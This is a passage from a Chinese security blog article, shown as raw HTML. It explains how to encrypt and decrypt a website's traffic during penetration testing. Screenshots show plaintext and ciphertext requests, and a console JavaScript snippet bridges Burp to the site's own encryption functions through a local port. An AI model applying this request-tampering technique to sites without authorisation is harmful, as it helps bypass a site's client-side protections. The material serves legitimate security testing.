leaf="">至此，我们可以实现浏览器流量的加解密，效果如下：</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">原始请求:</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img data-aistatus="1" alt="PixPin_2026-01-09_14-08-02" class="rich_pages wxw-img" data-ratio="0.8604651162790697" data-type="png" data-w="516" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" title="null" data-imgfileid="100002180" src="https://wechat2rss.xlab.app/img-proxy/?k=ced27a74&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1dnNWRVcLywO4CuicDOlLIwxwy8gOcdM8z7XSR1r7RicYQDntBzv4cMibiaw8MRG1b1ThLHuh4gVkuVag%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">解密请求:</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img data-aistatus="1" alt="PixPin_2026-01-09_13-45-12" class="rich_pages wxw-img" data-ratio="0.31968810916179335" data-type="png" data-w="513" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" title="null" data-imgfileid="100002178" src="https://wechat2rss.xlab.app/img-proxy/?k=7eea1394&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1dnNWRVcLywO4CuicDOlLIwxjialdjGtAWxv7iby2ybz1G1KC9EK2PhYEGEo5tNBfcFodRNAR4LYmib9Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">原始响应包:</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img data-aistatus="1" alt="PixPin_2026-01-09_13-45-32" class="rich_pages wxw-img" data-ratio="0.8551587301587301" data-type="png" data-w="504" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" title="null" data-imgfileid="100002181" src="https://wechat2rss.xlab.app/img-proxy/?k=6e781d4b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1dnNWRVcLywO4CuicDOlLIwxHxvhyW7u5AbqnvhY8I6GzmtxPiaWOZYkPDYk6TiauiaXNw6afd43mzYaw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">解密响应包:</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img data-aistatus="1" alt="PixPin_2026-01-09_13-45-41" class="rich_pages wxw-img" data-ratio="0.3964757709251101" data-type="png" data-w="454" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" title="null" data-imgfileid="100002179" src="https://wechat2rss.xlab.app/img-proxy/?k=15e02ed1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1dnNWRVcLywO4CuicDOlLIwxYMonFNNtgYwdibjmG1pEAHWJO3nnIuytnxAT98m07UsEfVnlibDzBl0w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">Rpc实现请求加密</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">通过右键扩展，将明文数据发送到重放器</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img data-aistatus="1" alt="PixPin_2026-01-09_13-46-03" class="rich_pages wxw-img" data-ratio="0.38702928870292885" data-type="png" data-w="956" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" title="null" data-imgfileid="100002182" src="https://wechat2rss.xlab.app/img-proxy/?k=2739be8a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1dnNWRVcLywO4CuicDOlLIwxGXictmib5YWKXaR7IeAviaGSAlsvYt7FjicC2rzacGiarS2M2ODTziaqNXWA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">效果如下:</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img data-aistatus="1" alt="PixPin_2026-01-09_13-50-26" class="rich_pages wxw-img" data-ratio="0.9228007181328546" data-type="png" data-w="557" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" title="null" data-imgfileid="100002184" src="https://wechat2rss.xlab.app/img-proxy/?k=299a8a51&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1dnNWRVcLywO4CuicDOlLIwx2zMQsHsJrNuXibB51ibedvOCp1EHR6GqHzkZ4ZM9wCuzHxdMwJkXhF9Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">我们修改包的参数，然后在浏览器执行如下js代码:</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf="">(<span class="code-snippet__keyword">function</span> () {</span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">const</span> <span class="code-snippet__variable">BRIDGE_URL</span> = <span class="code-snippet__string">&#34;<a href="http://127.0.0.1:9999" target="_blank">http://127.0.0.1:9999</a>&#34;</span>;</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">    <span class="code-snippet__comment">/**</span></span></code><br/><code><span leaf="">     * Site-specific Encryption Logic</span></code><br/><code><span leaf="">     */</span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">function</span> <span class="code-snippet__title">Encryption</span>(<span class="code-snippet__params">plainText</span>) {</span></code><br/><code><span leaf="">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__variable">window</span>.<span class="code-snippet__title">raw_encrypt</span>(plainText);</span></code><br/><code><span leaf="">    }</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">    <span class="code-snippet__comment">/**</span></span></code><br/><code><span leaf="">     * Site-specific Decryption Logic</span></code><br/><code><span leaf="">     * Replace &#39;window.targetDecrypt&#39; with the actual function found on the site</span></code><br/><code><span leaf="">     */</span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">function</span> <span class="code-snippet__title">Decryption</span>(<span class="code-snippet__params">cipherText</span>) {</span></code><br/><code><span leaf="">       <span class="code-snippet__keyword">return</span> <span class="code-snippet__variable">window</span>.<span class="code-snippet__title">raw_decrypt</span>(cipherText);</span></code><br/><code><span leaf="">    }</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">    <span class="code-snippet__comment">/**</span></span></code><br/><code><span leaf="">     * Send result back to Burp Bridge</span></code><br/><code><span leaf="">     */</span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">async</span> <span class="code-snippet__keyword">function</span> <span class="code-snippet__title">reportResult</span>(<span class="code-snippet__params">taskId, result</span>) {</span></code><br/><code><span leaf="">        <span class="code-snippet__keyword">try</span> {</span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">await</span> <span class="code-snippet__title">fetch</span>(<span class="code-snippet__string">`</span><span class="code-snippet__string"><span class="code-snippet__subst">${BRIDGE_URL}</span></span><span class="code-snippet__string">/task`</span>, {</span></code><br/><code><span leaf="">                <span class="code-snippet__attr">method</span>: <span class="code-snippet__string">&#39;POST&#39;</span>,</span></code><br/><code><span leaf="">                <span class="code-snippet__attr">headers</span>: { <span class="code-snippet__string">&#39;Content-Type&#39;</span>: <span class="code-snippet__string">&#39;application/json&#39;</span> },</span></code><br/><code><span leaf="">                <span class="code-snippet__attr">body</span>: <span class="code-snippet__title">JSON</span>.<span class="code-snippet__title">stringify</span>({</span></code><br/><code><span leaf="">                    <span class="code-snippet__attr">id</span>: taskId,</span></code><br/><code><span leaf="">                    <span class="code-snippet__attr">result</span>: result</span></code><br/><code><span leaf="">                })</span></code><br/><code><span leaf="">            });</span></code><br/><code><span leaf="">        } <span class="code-snippet__keyword">catch</span> (e) {</span></code><br/><code><span leaf="">            <span class="code-snippet__variable">console</span>.<span class="code-snippet__title">error</span>(<span class="code-snippet__string">&#34;Failed to report result:&#34;</span>, e);</span></code><br/><code><span leaf="">        }</span></code><br/><code><span leaf="">    }</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">async</span> <span class="code-snippet__keyword">function</span> <span class="code-snippet__title">pollTask</span>() {</span></code><br/><code><span leaf="">        <span class="code-snippet__keyword">try</span> {</span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">const</span> resp = <span class="code-snippet__keyword">await</span> <span class="code-snippet__title">fetch</span>(<span class="code-snippet__string">`</span><span class="code-snippet__string"><span class="code-snippet__subst">${BRIDGE_URL}</span></span><span class="code-snippet__string">/task`</span>);</span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">const</span> task = <span class="code-snippet__keyword">await</span> resp.<span class="code-snippet__title">json</span>();</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">            <span class="code-snippet__comment">// Ignore IDLE state to reduce console noise</span></span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">if</span> (task.<span class="code-snippet__property">type</span> === <span class="code-snippet__string">&#34;IDLE&#34;</span>) {</span></code><br/><code><span leaf="">                <span class="code-snippet__keyword">return</span>;</span></code><br/><code><span leaf="">            }</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">            <span class="code-snippet__variable">console</span>.<span class="code-snippet__title">log</span>(<span class="code-snippet__string">&#34;New Task Received:&#34;</span>, task.<span class="code-snippet__property">type</span>, task.<span class="code-snippet__property">id</span>);</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">let</span> result = <span class="code-snippet__literal">null</span>;</span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">if</span> (task.<span class="code-snippet__property">type</span> === <span class="code-snippet__string">&#34;ENCRYPT&#34;</span>) {</span></code><br/><code><span leaf="">                result = <span class="code-snippet__keyword">await</span> <span class="code-snippet__title">Encryption</span>(task.<span class="code-snippet__property">payload</span>);</span></code><br/><code><span leaf="">            } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (task.<span class="code-snippet__property">type</span> === <span class="code-snippet__string">&#34;DECRYPT&#34;</span>) {</span></code><br/><code><span leaf="">                <span class="code-snippet__variable">console</span>.<span class="code-snippet__title">log</span>( <span class="code-snippet__string">&#34;DECRYPT&#34;</span>,task.<span class="code-snippet__property">payload</span>)</span></code><br/><code><span leaf="">                result = <span class="code-snippet__keyword">await</span> <span class="code-snippet__title">Decryption</span>(task.<span class="code-snippet__property">payload</span>);</span></code><br/><code><span leaf="">            }</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">if</span> (result !== <span class="code-snippet__literal">null</span>) {</span></code><br/><code><span leaf="">                <span class="code-snippet__keyword">await</span> <span class="code-snippet__title">reportResult</span>(task.<span class="code-snippet__property">id</span>, result);</span></code><br/><code><span leaf="">                <span class="code-snippet__variable">console</span>.<span class="code-snippet__title">log</span>(<span class="code-snippet__string">&#34;Task Completed:&#34;</span>, task.<span class="code-snippet__property">id</span>);</span></code><br/><code><span leaf="">            }</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">        } <span class="code-snippet__keyword">catch</span> (e) {</span></code><br/><code><span leaf="">            <span class="code-snippet__comment">// console.error(&#34;Poll Error:&#34;, e.message);</span></span></code><br/><code><span leaf="">        } <span class="code-snippet__keyword">finally</span> {</span></code><br/><code><span leaf="">            <span class="code-snippet__comment">// Use 200ms-500ms for better responsiveness</span></span></code><br/><code><span leaf="">            <span class="code-snippet__built_in">setTimeout</span>(pollTask, <span class="code-snippet__number">300</span>);</span></code><br/><code><span leaf="">        }</span></code><br/><code><span leaf="">    }</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">    <span class="code-snippet__variable">console</span>.<span class="code-snippet__title">log</span>(<span class="code-snippet__string">&#34;JS Bridge Client Started... Waiting for tasks.&#34;</span>);</span></code><br/><code><span leaf="">    <span class="code-snippet__title">pollTask</span>();</span></code><br/><code><span leaf="">})();</span></code><br/></pre></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">加密请求</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">然后选中我们要加密的文本，右键</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img data-aistatus="1" alt="PixPin_2026-01-09_13-50-55" class="rich_pages wxw-img" data-ratio="0.7173295454545454" data-type="png" data-w="704" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" title="null" data-imgfileid="100002186" src="https://wechat2rss.xlab.app/img-proxy/?k=9fe95dc3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1dnNWRVcLywO4CuicDOlLIwxWoWENSFMP8EtCo9FYXJN3chcon1Jqe9thskxAEIJOmRXA9LrDLgqQw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">js收到请求后处理:</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img data-aistatus="1" alt="PixPin_2026-01-09_13-51-42" class="rich_pages wxw-img" data-ratio="0.25444839857651247" data-type="png" data-w="562" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" title="null" data-imgfileid="100002187" src="https://wechat2rss.xlab.app/img-proxy/?k=d845e175&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1dnNWRVcLywO4CuicDOlLIwxIto5WqKhPOyX9zicrofIKHt3Rat2h4aHFVsCvOMibxcia9zfAyqkIdBicA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">加密效果:</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img data-aistatus="1" alt="PixPin_2026-01-09_13-51-24" class="rich_pages wxw-img" data-ratio="1.102880658436214" data-type="png" data-w="486" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" title="null" data-imgfileid="100002183" src="https://wechat2rss.xlab.app/img-proxy/?k=dd036b92&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1dnNWRVcLywO4CuicDOlLIwxYiajxvCPejicpNicyau6mmPGpiaL5AswqNpzxmgYoibHIdcdgAFX4KTcd9A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">解密请求</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, 